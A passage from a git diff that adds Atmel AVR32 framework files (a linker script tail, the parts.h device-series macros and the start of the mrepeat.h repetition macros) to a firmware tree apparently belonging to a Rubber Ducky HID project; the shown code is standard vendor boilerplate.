AT>FLASH :FLASH + .rela.got : { *(.rela.got) } >FLASH AT>FLASH :FLASH + .rel.bss : { *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) } >FLASH AT>FLASH :FLASH + .rela.bss : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) } >FLASH AT>FLASH :FLASH + .rel.plt : { *(.rel.plt) } >FLASH AT>FLASH :FLASH + .rela.plt : { *(.rela.plt) } >FLASH AT>FLASH :FLASH + .init : + { + KEEP (*(.init)) + } >FLASH AT>FLASH :FLASH =0xd703d703 + .plt : { *(.plt) } >FLASH AT>FLASH :FLASH + .text : + { + *(.text .stub .text.* .gnu.linkonce.t.*) + KEEP (*(.text.*personality*)) + /* .gnu.warning sections are handled specially by elf32.em. */ + *(.gnu.warning) + } >FLASH AT>FLASH :FLASH =0xd703d703 + .fini : + { + KEEP (*(.fini)) + } >FLASH AT>FLASH :FLASH =0xd703d703 + PROVIDE (__etext = .); + PROVIDE (_etext = .); + PROVIDE (etext = .); + .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH + .rodata1 : { *(.rodata1) } >FLASH AT>FLASH :FLASH + .eh_frame_hdr : { *(.eh_frame_hdr) } >FLASH AT>FLASH :FLASH + .eh_frame : ONLY_IF_RO { KEEP (*(.eh_frame)) } >FLASH AT>FLASH :FLASH + .gcc_except_table : ONLY_IF_RO { KEEP (*(.gcc_except_table)) *(.gcc_except_table.*) } >FLASH AT>FLASH :FLASH + .lalign : { . = ALIGN(8); PROVIDE(_data_lma = .); } >FLASH AT>FLASH :FLASH + . = ORIGIN(INTRAM); + .dalign : { . = ALIGN(8); PROVIDE(_data = .); } >INTRAM AT>INTRAM :INTRAM_ALIGN + /* Exception handling */ + .eh_frame : ONLY_IF_RW { KEEP (*(.eh_frame)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .gcc_except_table : ONLY_IF_RW { KEEP (*(.gcc_except_table)) *(.gcc_except_table.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + /* Thread Local Storage sections */ + .tdata : { *(.tdata .tdata.* .gnu.linkonce.td.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .tbss : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + /* Ensure the __preinit_array_start label is properly aligned. We + could instead move the label definition inside the section, but + the linker would then create the section even if it turns out to + be empty, which isn't pretty. */ + PROVIDE (__preinit_array_start = ALIGN(32 / 8)); + .preinit_array : { KEEP (*(.preinit_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (__preinit_array_end = .); + PROVIDE (__init_array_start = .); + .init_array : { KEEP (*(.init_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (__init_array_end = .); + PROVIDE (__fini_array_start = .); + .fini_array : { KEEP (*(.fini_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (__fini_array_end = .); + .ctors : + { + /* gcc uses crtbegin.o to find the start of + the constructors, so we make sure it is + first. Because this is a wildcard, it + doesn't matter if the user does not + actually link against crtbegin.o; the + linker won't look for a file to match a + wildcard. The wildcard also means that it + doesn't matter which directory crtbegin.o + is in. */ + KEEP (*crtbegin*.o(.ctors)) + /* We don't want to include the .ctor section from + from the crtend.o file until after the sorted ctors. + The .ctor section from the crtend file contains the + end of ctors marker and it must be last */ + KEEP (*(EXCLUDE_FILE (*crtend*.o ) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*(.ctors)) + } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .dtors : + { + KEEP (*crtbegin*.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend*.o ) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*(.dtors)) + } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .jcr : { KEEP (*(.jcr)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .data.rel.ro : { *(.data.rel.ro.local) *(.data.rel.ro*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .dynamic : { *(.dynamic) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .got : { *(.got.plt) *(.got) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .ramtext : { *(.ramtext .ramtext.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .ddalign : { . = ALIGN(8); } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .data : + { + *(.data .data.* .gnu.linkonce.d.*) + KEEP (*(.gnu.linkonce.d.*personality*)) + SORT(CONSTRUCTORS) + } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .data1 : { *(.data1) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .balign : { . = ALIGN(8); PROVIDE(_edata = .); } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (edata = .); + __bss_start = .; + .bss : + { + *(.dynbss) + *(.bss .bss.* .gnu.linkonce.b.*) + *(COMMON) + /* Align here to ensure that the .bss section occupies space up to + _end. Align after .bss to ensure correct alignment even if the + .bss section disappears because there are no input sections. */ + . = ALIGN(8); + } >INTRAM AT>INTRAM :INTRAM + . = ALIGN(8); + _end = .; + PROVIDE (end = .); + __heap_start__ = ALIGN(8); + .heap : + { + *(.heap) + . = (__heap_size__ == __max_heap_size__) ? + ORIGIN(INTRAM) + LENGTH(INTRAM) - __stack_size__ - ABSOLUTE(.) : + __heap_size__; + } >INTRAM AT>INTRAM :INTRAM + __heap_end__ = .; + /* Stabs debugging sections. */ + .stab 0 : { *(.stab) } + .stabstr 0 : { *(.stabstr) } + .stab.excl 0 : { *(.stab.excl) } + .stab.exclstr 0 : { *(.stab.exclstr) } + .stab.index 0 : { *(.stab.index) } + .stab.indexstr 0 : { *(.stab.indexstr) } + .comment 0 : { *(.comment) } + /* DWARF debug sections. + Symbols in the DWARF debugging sections are relative to the beginning + of the section so we begin them at 0. */ + /* DWARF 1 */ + .debug 0 : { *(.debug) } + .line 0 : { *(.line) } + /* GNU DWARF 1 extensions */ + .debug_srcinfo 0 : { *(.debug_srcinfo) } + .debug_sfnames 0 : { *(.debug_sfnames) } + /* DWARF 1.1 and DWARF 2 */ + .debug_aranges 0 : { *(.debug_aranges) } + .debug_pubnames 0 : { *(.debug_pubnames) } + /* DWARF 2 */ + .debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) } + .debug_abbrev 0 : { *(.debug_abbrev) } + .debug_line 0 : { *(.debug_line) } + .debug_frame 0 : { *(.debug_frame) } + .debug_str 0 : { *(.debug_str) } + .debug_loc 0 : { *(.debug_loc) } + .debug_macinfo 0 : { *(.debug_macinfo) } + /* SGI/MIPS DWARF 2 extensions */ + .debug_weaknames 0 : { *(.debug_weaknames) } + .debug_funcnames 0 : { *(.debug_funcnames) } + .debug_typenames 0 : { *(.debug_typenames) } + .debug_varnames 0 : { *(.debug_varnames) } + .stack ORIGIN(INTRAM) + LENGTH(INTRAM) - __stack_size__ : + { + _stack = .; + *(.stack) + . = __stack_size__; + _estack = .; + } >INTRAM AT>INTRAM :INTRAM + .userpage : { *(.userpage .userpage.*) } >USERPAGE AT>USERPAGE :USERPAGE + /DISCARD/ : { *(.note.GNU-stack) } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/parts.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/parts.h new file mode 100755 index 0000000..69e3d05 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/parts.h @@ -0,0 +1,243 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Arch file for AVR32. + * + * This file defines common AVR32 UC3 series. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _ARCH_H_ +#define _ARCH_H_ + +// UC3 A Series +#define UC3A0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A0128__) || \ + defined (__AVR32_UC3A0256__) || \ + defined (__AVR32_UC3A0512__) || \ + defined (__AVR32_UC3A0512ES__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A0128__) || \ + defined (__AT32UC3A0256__) || \ + defined (__AT32UC3A0512__) || \ + defined (__AT32UC3A0512ES__)))) + +#define UC3A1 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A1128__) || \ + defined (__AVR32_UC3A1256__) || \ + defined (__AVR32_UC3A1512__) || \ + defined (__AVR32_UC3A1512ES__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A1128__) || \ + defined (__AT32UC3A1256__) || \ + defined (__AT32UC3A1512__) || \ + defined (__AT32UC3A1512ES__)))) + +#define UC3A3 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A364__) || \ + defined (__AVR32_UC3A364S__) || \ + defined (__AVR32_UC3A3128__) || \ + defined (__AVR32_UC3A3128S__) || \ + defined (__AVR32_UC3A3256__) || \ + defined (__AVR32_UC3A3256S__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A364__) || \ + defined (__AT32UC3A364S__) || \ + defined (__AT32UC3A3128__) || \ + defined (__AT32UC3A3128S__) || \ + defined (__AT32UC3A3256__) || \ + defined (__AT32UC3A3256S__)))) + +#define UC3A4 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A464__) || \ + defined (__AVR32_UC3A464S__) || \ + defined (__AVR32_UC3A4128__) || \ + defined (__AVR32_UC3A4128S__) || \ + defined (__AVR32_UC3A4256__) || \ + defined (__AVR32_UC3A4256S__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A464__) || \ + defined (__AT32UC3A464S__) || \ + defined (__AT32UC3A4128__) || \ + defined (__AT32UC3A4128S__) || \ + defined (__AT32UC3A4256__) || \ + defined (__AT32UC3A4256S__)))) + +#define UC3A (UC3A0 || UC3A1 || UC3A3 || UC3A4) + +// UC3 B Series +#define UC3B0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3B064__) || \ + defined (__AVR32_UC3B0128__) || \ + defined (__AVR32_UC3B0256__) || \ + defined (__AVR32_UC3B0256ES__) || \ + defined (__AVR32_UC3B0512__) || \ + defined (__AVR32_UC3B0512REVC_))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3B064__) || \ + defined (__AT32UC3B0128__) || \ + defined (__AT32UC3B0256__) || \ + defined (__AT32UC3B0256ES__) || \ + defined (__AT32UC3B0512__) || \ + defined (__AT32UC3B0512REVC__)))) + +#define UC3B1 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3B164__) || \ + defined (__AVR32_UC3B1128__) || \ + defined (__AVR32_UC3B1256__) || \ + defined (__AVR32_UC3B1256ES__) || \ + defined (__AVR32_UC3B1512__) || \ + defined (__AVR32_UC3B1512ES__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3B164__) || \ + defined (__AT32UC3B1128__) || \ + defined (__AT32UC3B1256__) || \ + defined (__AT32UC3B1256ES__) || \ + defined (__AT32UC3B1512__) || \ + defined (__AT32UC3B1512REVC__)))) + +#define UC3B (UC3B0 || UC3B1 ) + +// UC3 C Series +#define UC3C0_REVC (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C064CREVC__) || \ + defined (__AVR32_UC3C0128CREVC__) || \ + defined (__AVR32_UC3C0256CREVC__) || \ + defined (__AVR32_UC3C0512CREVC__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C064CREVC__) || \ + defined (__AT32UC3C0128CREVC__) || \ + defined (__AT32UC3C0256CREVC__) || \ + defined (__AT32UC3C0512CREVC__)))) + +#define UC3C0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C064C__) || \ + defined (__AVR32_UC3C0128C__) || \ + defined (__AVR32_UC3C0256C__) || \ + defined (__AVR32_UC3C0512C__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C064C__) || \ + defined (__AT32UC3C0128C__) || \ + defined (__AT32UC3C0256C__) || \ + defined (__AT32UC3C0512C__)))) + +#define UC3C1_REVC (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C164CREVC__) || \ + defined (__AVR32_UC3C1128CREVC__) || \ + defined (__AVR32_UC3C1256CREVC__) || \ + defined (__AVR32_UC3C1512CREVC__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C164CREVC__) || \ + defined (__AT32UC3C1128CREVC__) || \ + defined (__AT32UC3C1256CREVC__) || \ + defined (__AT32UC3C1512CREVC__)))) + +#define UC3C1 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C164C__) || \ + defined (__AVR32_UC3C1128C__) || \ + defined (__AVR32_UC3C1256C__) || \ + defined (__AVR32_UC3C1512C__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C164C__) || \ + defined (__AT32UC3C1128C__) || \ + defined (__AT32UC3C1256C__) || \ + defined (__AT32UC3C1512C__)))) + +#define UC3C2_REVC (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C264CREVC__) || \ + defined (__AVR32_UC3C2128CREVC__) || \ + defined (__AVR32_UC3C2256CREVC__) || \ + defined (__AVR32_UC3C2512CREVC__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C264CREVC__) || \ + defined (__AT32UC3C2128CREVC__) || \ + defined (__AT32UC3C2256CREVC__) || \ + defined (__AT32UC3C2512CREVC__)))) + +#define UC3C2 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C264C__) || \ + defined (__AVR32_UC3C2128C__) || \ + defined (__AVR32_UC3C2256C__) || \ + defined (__AVR32_UC3C2512C__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C264C__) || \ + defined (__AT32UC3C2128C__) || \ + defined (__AT32UC3C2256C__) || \ + defined (__AT32UC3C2512C__)))) + +#define UC3C_REVC (UC3C0_REVC || UC3C1_REVC || UC3C2_REVC) +#define UC3C (UC3C0 || UC3C0_REVC || UC3C1 || UC3C1_REVC || UC3C2 || UC3C2_REVC) + +// UC3 L Device series +#define UC3L0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3L016__) || \ + defined (__AVR32_UC3L032__) || \ + defined (__AVR32_UC3L064__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3L016__) || \ + defined (__AT32UC3L032__) || \ + defined (__AT32UC3L064__)))) + +#define UC3L (UC3L0) + +// UC3 D Device series +#define UC3D3 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC128D3__) || \ + defined (__AVR32_UC64D3__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__ATUC128D3__) || \ + defined (__ATUC64D3__) ))) + +#define UC3D (UC3D3) + +#if (UC3D) +#include "header_files/uc3d_defines_fix.h" +#endif + +#define UC3 (UC3A || UC3B || UC3C || UC3D || UC3L) + +#if ((defined __GNUC__) && (defined __AVR32__)) || (defined __ICCAVR32__ || defined __AAVR32__) +# if (UC3) +# include +# endif +#endif + +#endif // _ARCH_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/mrepeat.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/mrepeat.h new file mode 100755 index 0000000..92b81ae --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/mrepeat.h @@ -0,0 +1,326 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Preprocessor macro repeating utils. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _MREPEAT_H_ +#define _MREPEAT_H_ + +#include "preprocessor.h" + + +//! Maximal number of repetitions supported by MREPEAT. +#define MREPEAT_LIMIT 256 + +/*! \brief Macro repeat. + * + * This macro represents a horizontal repetition construct. + * + * \param count The number of repetitious calls to macro. Valid values range from 0 to MREPEAT_LIMIT. + * \param macro A binary operation of the form macro(n, data). This macro is expanded by MREPEAT with + * the current repetition number and the auxiliary data argument. + * \param data Auxiliary data passed to macro. + * + * \return macro(0, data) macro(1, data) ... macro(count - 1, data) + */ +#define MREPEAT(count, macro, data) TPASTE2(MREPEAT, count)(macro, data) + +#define MREPEAT0( macro, data) +#define MREPEAT1( macro, data) MREPEAT0( macro, data) macro( 0, data) +#define MREPEAT2( macro, data) MREPEAT1( macro, data) macro( 1, data) +#define MREPEAT3( macro, data) MREPEAT2( macro, data) macro( 2, data) +#define MREPEAT4( macro, data) MREPEAT3( macro, data) macro( 3, data) +#define MREPEAT5( macro, data) MREPEAT4( macro, data) macro( 4, data) +#define MREPEAT6( macro, data) MREPEAT5( macro, data) macro( 5, data) +#define MREPEAT7( macro, data) MREPEAT6( macro, data) macro( 6, data) +#define MREPEAT8( macro, data) MREPEAT7( macro, data) macro( 7, data) +#define MREPEAT9( macro, data) MREPEAT8( macro, data) macro( 8, data) +#define MREPEAT10( macro, data) MREPEAT9( macro, data) macro( 9, data) +#define MREPEAT11( macro, data) MREPEAT10( macro, data) macro( 10, data) +#define MREPEAT12( macro, data) MREPEAT11( macro, data) macro( 11, data) +#define MREPEAT13( macro, data) MREPEAT12( macro, data) macro( 12, data) +#define MREPEAT14( macro, data) MREPEAT13( macro, data) macro( 13, data) +#define MREPEAT15( macro, data) MREPEAT14( macro, data) macro( 14, data) +#define MREPEAT16( macro, data) MREPEAT15( macro, data) macro( 15, data) +#define MREPEAT17( macro, data) MREPEAT16( macro, data) macro( 16, data) +#define MREPEAT18( macro, data) MREPEAT17( macro, data) macro( 17, data) +#define MREPEAT19( macro, data) MREPEAT18( macro, data) macro( 18, data) +#define MREPEAT20( macro, data) MREPEAT19( macro, data) macro( 19, data) +#define MREPEAT21( macro, data) MREPEAT20( macro, data) macro( 20, data) +#define MREPEAT22( macro, data) MREPEAT21( macro, data) macro( 21, data) +#define MREPEAT23( macro, data) MREPEAT22( macro, data) macro( 22, data) +#define MREPEAT24( macro, data) MREPEAT23( macro, data) macro( 23, data) +#define MREPEAT25( macro, data) MREPEAT24( macro, data) macro( 24, data) +#define MREPEAT26( macro, data) MREPEAT25( macro, data) macro( 25, data) +#define MREPEAT27( macro, data) MREPEAT26( macro, data) macro( 26, data) +#define MREPEAT28( macro, data) MREPEAT27( macro, data) macro( 27, data) +#define MREPEAT29( macro, data) MREPEAT28( macro, data) macro( 28, data) +#define MREPEAT30( macro, data) MREPEAT29( macro, data) macro( 29, data) +#define MREPEAT31( macro, data) MREPEAT30( macro, data) macro( 30, data) +#define MREPEAT32( macro, data) MREPEAT31( macro, data) macro( 31, data) +#define MREPEAT33( macro, data) MREPEAT32( macro, data) macro( 32, data) +#define MREPEAT34( macro, data) MREPEAT33( macro, data) macro( 33, data) +#define MREPEAT35( macro, data) MREPEAT34( macro, data) macro( 34, data) +#define MREPEAT36( macro, data) MREPEAT35( macro, data) macro( 35, data) +#define MREPEAT37( macro, data) MREPEAT36( macro, data) macro( 36, data) +#define MREPEAT38( macro, data) MREPEAT37( macro, data) macro( 37, data) +#define MREPEAT39( macro, data) MREPEAT38( macro, data) macro( 38, data) +#define MREPEAT40( macro, data) MREPEAT39( macro, data) macro( 39, data) +#define MREPEAT41( macro, data) MREPEAT40( macro, data) macro( 40, data) +#define MREPEAT42( macro, data) MREPEAT41( macro, data) macro( 41, data) +#define MREPEAT43( macro, data) MREPEAT42( macro, data) macro( 42, data) +#define MREPEAT44( macro, data) MREPEAT43( macro, data) macro( 43, data) +#define MREPEAT45( macro, data) MREPEAT44( macro, data) macro( 44, data) +#define MREPEAT46( macro, data) MREPEAT45( macro, data) macro( 45, data) +#define MREPEAT47( macro, data) MREPEAT46( macro, data) macro( 46, data) +#define MREPEAT48( macro, data) MREPEAT47( macro, data) macro( 47, data) +#define MREPEAT49( macro, data) MREPEAT48( macro, data) macro( 48, data) +#define MREPEAT50( macro, data) MREPEAT49( macro, data) macro( 49, data) +#define MREPEAT51( macro, data) MREPEAT50( macro, data) macro( 50, data) +#define MREPEAT52( macro, data) MREPEAT51( macro, data) macro( 51, data) +#define MREPEAT53( macro, data) MREPEAT52( macro, data) macro( 52, data) +#define MREPEAT54( macro, data) MREPEAT53( macro, data) macro( 53, data) +#define MREPEAT55( macro, data) MREPEAT54( macro, data) macro( 54, data) +#define MREPEAT56( macro, data) MREPEAT55( macro, data) macro( 55, data) +#define MREPEAT57( macro, data) MREPEAT56( macro, data) macro( 56, data) +#define MREPEAT58( macro, data) MREPEAT57( macro, data) macro( 57, data) +#define MREPEAT59( macro, data) MREPEAT58( macro, data) macro( 58, data) +#define MREPEAT60( macro, data) MREPEAT59( macro, data) macro( 59, data) +#define MREPEAT61( macro, data) MREPEAT60( macro, data) macro( 60, data) +#define MREPEAT62( macro, data) MREPEAT61( macro, data) macro( 61, data) +#define MREPEAT63( macro, data) MREPEAT62( macro, data) macro( 62, data) +#define MREPEAT64( macro, data) MREPEAT63( macro, data) macro( 63, data) +#define MREPEAT65( macro, data) MREPEAT64( macro, data) macro( 64, data) +#define MREPEAT66( macro, data) MREPEAT65( macro, data) macro( 65, data) +#define MREPEAT67( macro, data) MREPEAT66( macro, data) macro( 66, data) +#define MREPEAT68( macro, data) MREPEAT67( macro, data) macro( 67, data) +#define MREPEAT69( macro, data) MREPEAT68( macro, data) macro( 68, data) +#define MREPEAT70( macro, data) MREPEAT69( macro, data) macro( 69, data) +#define MREPEAT71( macro, data) MREPEAT70( macro, data) macro( 70, data) +#define MREPEAT72( macro, data) MREPEAT71( macro, data) macro( 71, data) +#define MREPEAT73( macro, data) MREPEAT72( macro, data) macro( 72, data) +#define MREPEAT74( macro, data) MREPEAT73( macro, data) macro( 73, data) +#define MREPEAT75( macro, data) MREPEAT74( macro, data) macro( 74, data) +#define MREPEAT76( macro, data) MREPEAT75( macro, data) macro( 75, data) +#define MREPEAT77( macro, data) MREPEAT76( macro, data) macro( 76, data) +#define MREPEAT78( macro, data) MREPEAT77( macro, data) macro( 77, data) +#define MREPEAT79( macro, data) MREPEAT78( macro, data) macro( 78, data) +#define MREPEAT80( macro, data) MREPEAT79( macro, data) macro( 79, data) +#define MREPEAT81( macro, data) MREPEAT80( macro, data) macro( 80, data) +#define MREPEAT82( macro, data) MREPEAT81( macro, data) macro( 81, data) +#define MREPEAT83( macro, data) MREPEAT82( macro, data) macro( 82, data) +#define MREPEAT84( macro, data) MREPEAT83( macro, data) macro( 83, data) +#define MREPEAT85( macro, data) MREPEAT84( macro, data) macro( 84, data) +#define MREPEAT86( macro, data) MREPEAT85( macro, data) macro( 85, data) +#define MREPEAT87( macro, data) MREPEAT86( macro, data) macro( 86, data) +#define MREPEAT88( macro, data) MREPEAT87( macro, data) macro( 87, data) +#define MREPEAT89( macro, data) MREPEAT88( macro, data) macro( 88, data) +#define MREPEAT90( macro, data) MREPEAT89( macro, data) macro( 89, data) +#define MREPEAT91( macro, data) MREPEAT90( macro, data) macro( 90, data) +#define MREPEAT92( macro, data) MREPEAT91( macro, data) macro( 91, data) +#define MREPEAT93( macro, data) MREPEAT92( macro, data) macro( 92, data) +#define MREPEAT94( macro, data) MREPEAT93( macro, data) macro( 93, data) +#define MREPEAT95( macro, data) MREPEAT94( macro, data) macro( 94, data) +#define MREPEAT96( macro, data) MREPEAT95( macro, data) macro( 95, data) +#define MREPEAT97( macro, data) MREPEAT96( macro, data) macro( 96, data) +#define MREPEAT98( macro, data) MREPEAT97( macro, data) macro( 97, data) +#define MREPEAT99( macro, data) MREPEAT98( macro, data) macro( 98, data) +#define MREPEAT100(macro, data) MREPEAT99( macro, data) macro( 99, data) +#define MREPEAT101(macro, data) MREPEAT100(macro, data) macro(100, data) +#define MREPEAT102(macro, data) MREPEAT101(macro, data) macro(101, data) +#define MREPEAT103(macro, data) MREPEAT102(macro, data) macro(102, data) +#define MREPEAT104(macro, data) MREPEAT103(macro, data) macro(103, data) +#define MREPEAT105(macro, data) MREPEAT104(macro, data) macro(104, data) +#define MREPEAT106(macro, data) MREPEAT105(macro, data) macro(105, data) +#define MREPEAT107(macro, data) MREPEAT106(macro, data) macro(106, data) +#define MREPEAT108(macro, data) MREPEAT107(macro, data) macro(107, data) +#define MREPEAT109(macro, data) MREPEAT108(macro, data) macro(108, data) +#define MREPEAT110(macro, data) MREPEAT109(macro, data) macro(109, data) +#define MREPEAT111(macro, data) MREPEAT110(macro, data) macro(110, data) +#define MREPEAT112(macro, data) MREPEAT111(macro, data) macro(111, data) +#define MREPEAT113(macro, data) MREPEAT112(macro, data) macro(112, data) +#define MREPEAT114(macro, data) MREPEAT113(macro, data) macro(113, data) +#define MREPEAT115(macro, data) MREPEAT114(macro, data) macro(114, data) +#define MREPEAT116(macro, data) MREPEAT115(macro, data) macro(115, data) +#define MREPEAT117(macro, data) MREPEAT116(macro, data) macro(116, data) +#define MREPEAT118(macro, data) MREPEAT117(macro, data) macro(117, data) +#define MREPEAT119(macro, data) MREPEAT118(macro, data) macro(118, data) +#define MREPEAT120(macro, data) MREPEAT119(macro, data) macro(119, data) +#define MREPEAT121(macro, data) MREPEAT120(macro, data) macro(120, data) +#define MREPEAT122(macro, data) MREPEAT121(macro, data) macro(121, data) +#define MREPEAT123(macro, data) MREPEAT122(macro, data) macro(122, data) +#define MREPEAT124(macro, data) MREPEAT123(macro, data) macro(123, data) +#define MREPEAT125(macro, data) MREPEAT124(macro, data) macro(124, data) +#define MREPEAT126(macro, data) MREPEAT125(macro, data) macro(125, data) +#define MREPEAT127(macro, data) MREPEAT126(macro, data) macro(126, data) +#define MREPEAT128(macro, data) MREPEAT127(macro, data) macro(127, data) +#define MREPEAT129(macro, data) MREPEAT128(macro, data) macro(128, data) +#define MREPEAT130(macro, data) MREPEAT129(macro, data) macro(129, data) +#define 